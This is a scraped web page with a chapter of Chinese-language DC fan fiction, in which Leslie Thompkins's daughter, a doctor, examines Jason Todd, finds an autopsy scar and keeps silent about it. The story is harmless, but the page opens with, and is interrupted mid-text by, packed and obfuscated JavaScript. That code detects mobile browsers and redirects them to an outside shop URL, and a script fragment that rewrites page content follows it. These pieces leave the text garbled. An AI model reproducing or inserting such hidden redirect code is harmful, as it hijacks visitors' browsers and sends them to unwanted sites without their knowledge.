;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“心肺腹检查未见明显异常,”她说,声音平稳,目光直视着杰森的眼睛,“肌肉骨骼系统发育和功能良好,营养状况优秀。陈旧性外伤疤痕多处,愈合良好。” “你要把这些加到病历里面吗?” 杰森很利落地穿好衣服。他的动作很快,但不是慌乱的那种快,而是熟练——仿佛经常穿脱衣服给别人看。 “不,当然不加。” 埃拉诺眨眨眼睛,嘴角微微上扬。 “我看见了,我记住了,但如果我记到了你的健康档案里面,那就是另外一回事了,杰森。今天的检查结果我不会向你的家人透露,正如我不会向你透露你的家人们的身体检查结果。” 杰森的动作顿了一下。 他看着她,那双蓝眼睛里有复杂的情绪在翻涌——困惑,惊讶,还有一丝说不清道不明的……释然? “谢谢。”他说。 声音很轻。 “从医学角度看,你非常健康。” 埃拉诺摘下听诊器,把它挂在脖子上,顺手整理了一下听诊器的胶管。她微笑着,语气轻快得像是在聊天气。 “继续保持。不过,如果你对那条疤痕的外观有改善需求,我可以推荐一些不错的皮肤科医生或者激光治疗机构。” 她顿了顿。 “说真的,我认识的医生真不少,自己也考虑过从事整形外科。疤痕修复是个很有前景的领域,尤其是在哥谭。” 杰森:“……” 他张了张嘴,又闭上了。 埃拉诺继续微笑,那笑容温和、专业、无懈可击。 “我的朋友们就和我一样有职业素养,保密意识很强,你不必担心,杰森。” 杰森盯着她。 盯了很久。 他担心的是医生的保密意识问题吗!? 看埃拉诺这个反应,他都快觉得她压根没看出来那是法医检查的刀口了!也许她真的以为那只是一道普通的、形状奇怪的外伤疤痕?也许她没接受过法医培训?也许—— 不,不可能。她是斯坦福毕业的医学博士。她不可能不知道Y字形切口意味着什么。 但她表现得…… 就像什么都没看见一样。 如果莱斯利医生的女儿尖叫,质问,随便做点什么大的反应,他都不至于要担心自己把莱斯利医生的女儿给吓傻了。他会知道她看见了,她会震惊,然后他就可以…… 可以什么? 可以解释?可以坦白?可以说“对,我死过,然后又活了”? 他不知道。 但现在,他什么都不用说。 因为她什么都没问。 “你确定你不需要一个心理医生吗,医生?” 杰森试探着问。 这句话说出口,他自己都觉得荒谬。一个身上有Y字形伤疤的人,问一个看起来一切正常的医生是否需要心理医生。 但埃拉诺的反应更快。 “我确定我不需要。” 她说着,把听诊器从脖子上取下来,开始熟练地卷起胶管。 “能为韦恩这样有名望并且为哥谭市做出了巨大贡献的家族服务是我的荣幸。为什么你会觉得我会需要一个心理医生呢,杰森?” 她抬起头,看着他,目光清澈而真诚。 “我很好,非常好。很高兴确定了你现在是健康状态。提前祝你圣诞节假期愉快。” 她一口气说完,然后转身,把卷好的听诊器放回操作台的抽屉里。 19.请务必小心饮水 埃拉诺·汤普金斯需要心理医生吗? 需要的,非常需要的。 埃拉诺·汤普金斯会对杰森·陶德承认这一点吗? 不可能的,绝对不可能的。 她竭尽全力回想触诊时杰森温热的皮肤,还有电子体温计报出的数字。 这是个活人。 但这个活人身上有标准的法医解剖术式留下的痕迹。 “还有什么问题吗,杰森?” 埃拉诺保持着专业友好的语气,把纸箱的盖子盖上,盖上前又瞟了一眼最顶上那张照片。 那是她博士毕业典礼上拍的,红色的博士袍,看起来意气风发,打算面对世界上一切的医学难题。 于是埃拉诺又镇定下来。 只不过是一个活人身上有法医解剖术式留下的标准Y字形伤疤而已。 “没问题了,医生。” 杰森的声音拉回了埃拉诺的思绪。他看起来已经整理好了自己,连帽衫的拉链甚至拉到了顶。 “那么,提前祝你圣诞快乐。” 埃拉诺点了点头,目送他走向门口。 杰森在门口停顿了一下,再次回头。 “你真的没有问题吗,埃拉诺医生?” “我看起来像是有问题的样子吗?” 埃拉诺反问。 不像。 看起来像是完全没看见那道Y字形伤疤的样子。杰森腹诽。 “完全不像,提前祝你圣诞节快乐,替我向莱斯利医生问好。” 他抬手随意挥了挥,算是告别,然后推门融入了哥谭深沉的夜色。 门关上,带走了最后一丝室外的寒气,也带走了那个活生生的行走的医学谜题。 埃拉诺在原地站了几秒钟,然后弯下腰,有些费力地抱起那个装满相框的纸箱。 箱子不轻,但此刻她需要一点实实在在的东西来让自己感觉更踏实。 她把箱子搬到她们居住的二楼,放在地毯上,但没有立即开始摆放。她走到窗边,看着楼下街角昏暗的路灯。 今天的路灯是修好的,真不错。 杰森·陶德。 法医Y形切口。 活体。 这三个词在她脑海里自动排列组合,试图形成一个符合医学逻辑和物理定律的解释,但每次尝试都以失败告终。 唯一合理的解释——那个人曾经死亡并被解剖,然后又以某种方式恢复了生命——恰恰是最不合理最挑战她认知底线的。 我有足够聪明的大脑,我有足够灵巧的双手。 …… 我们有最精密的仪器。 …… 两个月前,埃拉诺走进胡顿主任的办公室,对他递交了辞呈。 “您是对的,胡顿医生,所以我选择人性。” 坦白说,埃拉诺辞职这事本身和医学伦理没有什么关系,她只不过是在辞职时引用了一句胡顿主任在311会议上的一句话。 她的确认为辞职是站在人性这一边。 回到哥谭是站在人性这一边。 母亲不能在没有助手的情况下做开颅手术。 为此,埃拉诺愿意回到犯罪巷的诊所,愿意给富豪当一个无足轻重——起码她自己是这样认为的——家庭医生。 为了人性。 于是埃拉诺离开转身从切尔西综合医院的手术台前离开。 野心……有的,当然有的,一个16岁年轻人拿着常青藤大学的offer从犯罪巷里走出来,孤身一人在西海岸待了十年,怎么可能没有野心,怎么可能不想去攀一下医学的高峰。 “离开是为了更好地回来。” 离开哥谭的时候埃拉诺是这样想的。 之后她把这事忘记了,或者说,在潜意识里不断推迟自己的归期。 本科读完后要申请医学院,但埃拉诺没去申请哥谭医学院,继续待在西海岸,然后实习,从第一次在一台简单的阑尾炎手术当助手开始,一直到顶尖医院的一位主治医师。 直到在视频时发现莱斯利医生在诊所做开颅手术。 “埃拉诺·汤普金斯,你真是个混蛋。” 埃拉诺对自己说。 为了人性,埃拉诺不准备对任何人说杰森身上有尸检伤疤,就和她不准备对任何人说提姆没有脾脏。 她为此调整医疗方案,并且提醒他们注意,但至于为什么会有尸检伤疤,为什么会脾脏缺失,那就不管她的事了。 因此这位自认为非常混蛋的年轻医生心情很好地下楼了,等待着诊所的下一位病人而不是下一个韦恩小孩。 真是道德水平低下啊,埃拉诺情不自禁地感慨,她发现了一个青少年的脾脏缺失却对此默不作声。 但自我认知变成“道德水平低下的混蛋医生”以后,她竟然出奇地感觉逻辑自洽了。 她甚至哼起了一首不成调的小曲,开始整理分诊台上散落的酒精棉片和用过的压舌板。 混乱的桌面上恢复了秩序,这让她感觉更好。 之后,埃拉诺在天黑前又处理了一个儿童上呼吸道感染的病例,给那孩子开了药,没有收诊费,因为那个可怜的孩子和祖母相依为命。 快到晚饭时间了,埃拉诺撕一张便利贴拍在办公桌上,写上“在二楼,急诊请按桌上的呼叫铃,不急请等我吃完饭”,上楼做饭。 厨房里飘出简单食物的香气——洋葱,西红柿和牛肉在锅里炖煮的酸甜味,还有米饭将熟时温润的蒸汽。埃拉诺正往两个盘子里分盛食物时,楼下传来了诊所门被推开,又轻轻关上的熟悉声响,接着是钥匙放在分诊台上的细微磕碰声。 脚步声上了楼。 莱斯利医生出现在厨房门口,脱下了沾着室外寒气的厚外套,里面穿着舒适的针织衫。 “我回来了,”她说着,目光快速扫过女儿,又落在冒着热气的锅和摆好的餐具上,脸上露出温和的笑意,“看来我赶上了好时候。” “欢迎回家,妈妈。”埃拉诺将最后一点炖菜舀进盘子,端起走向小餐桌,“社区中心那边怎么样?” “老样子,”莱斯利洗了手,在桌边坐下,接过埃拉诺递过来的水,“主要是老人的慢性病随访,问题不大你呢?下午诊所就你一个人,没遇到什么棘手的情况吧?” “没有。处理了一个孩子的上感,开了药。哦,还有……”她像想起什么平常事,“杰森·陶德来过。” 莱斯利抬起眼,看向女儿:“杰森?他怎么了?受伤了?” “没有,”埃拉诺摇头,叉起一块牛肉,“他说路过,你不在,他就跟我聊了几句。” “聊了什么?”莱斯利的声音很随意。 “问了问布鲁斯他们是不是真去欧洲了,提前祝了圣诞快乐。还有……”埃拉诺斟酌了一下用词,选择了一个完全符合事实,且能通过任何测谎仪的说法,“他同意建立健康档案,并做了一个基础的体格检查。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248010|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 莱斯利的叉子停在半空。 “他同意检查了?” “嗯。我稍微……建议了一下,”埃拉诺避开了“推销”这个词,“他看起来很健康,所有生理指标都在优秀范围。心肺功能尤其好。” 她说得客观、专业,完全是医生汇报病例的语气。没有提及那条Y字形伤疤,没有提及任何医学谜题。她只是陈述了检查结果——真实准确且经过筛选的结果。 “你还好吗,埃拉?” 莱斯利问。 这个问句太简单了,简单到不在埃拉诺的预料之中。但随即她想到,莱斯利医生肯定清楚那条Y字形伤疤的底细,不然她不会问自己“还好吗”。 “我很好,妈妈。” 埃拉诺不假思索地回答,语气比她自己料想的那样镇定,甚至还有心思挤压一块盛在米饭上的西红柿,看红色的汁液渗透进米饭里去。 也许直接用勺子往米饭上浇一勺菜汤是更好的选择。埃拉诺想。 “我有什么理由不好呢?” 莱斯利:“埃拉,关于韦恩一家,你有任何疑问都可以问我,布鲁斯会愿意你这样做的。” 埃拉诺:“那他为什么不自己告诉我呢?” 莱斯利:“……” …… “真是一个好问题,布鲁斯老爷,为何你不亲自告诉埃拉诺医生呢?” 这是便士一的提问。 也就是说,这是阿尔弗雷德·潘尼沃斯先生的提问。 蝙蝠侠:“就算是我当着埃拉诺的面摘下面具,她也只会觉得我在cos蝙蝠侠,不会觉得我就是蝙蝠侠。莱斯利医生是她的母亲,这句话由莱斯利来说更合适。” 便士一:“看起来你很相信埃拉诺医生在保密这件事上的专业素养了,布鲁斯老爷。” 蝙蝠侠:“我留下了足够的线索,如果埃拉诺进行推理,很容易就会发现真相的。” 便士一:“显而易见,布鲁斯老爷,埃拉诺医生拒绝了推理。” 蝙蝠侠:“这是个好消息,这意味着我们不必将一位年轻医生卷进更大的秘密,是她自己选择了拒绝知情。” 便士一:“一个好消息。或者说,误会的开端。” 管家取下耳机,放回到蝙蝠电脑的主控台前。 “我该去准备晚饭了,布鲁斯老爷,希望您不会听到一些引发膈肌抽搐的事情,请务必小心饮水。” “莱斯利允许我监听这一段了。” “是的,布鲁斯老爷,因为这一段谈话会涉及到你的身份。所以莱斯利允许我们远程监控。” “如果她让埃拉诺相信了,那么我们接下来就没有必要伪装了,如果埃拉诺依然拒绝相信,我们就和之前一样,埃拉诺能把医生的工作做得很好,但是否要再近一步应该取决于她自己。” 管家:“您说的很对,布鲁斯老爷,但我依然坚持我的看法,请务必小心饮水。您还记得自己26岁时的样子。” 当然记得。 蝙蝠侠想。 26岁,刚刚当了一年的蝙蝠侠—— 我是复仇。 我是黑暗骑士。 我是——蝙蝠侠! “埃拉诺医生作为一名医生当然足够专业,然而,在许多事情上,她还是个年轻人。就和当年的您一样。” 阿尔弗雷德在离开蝙蝠洞前为布鲁斯倒了一杯温开水。 “所以请务必小心饮水,布鲁斯老爷。”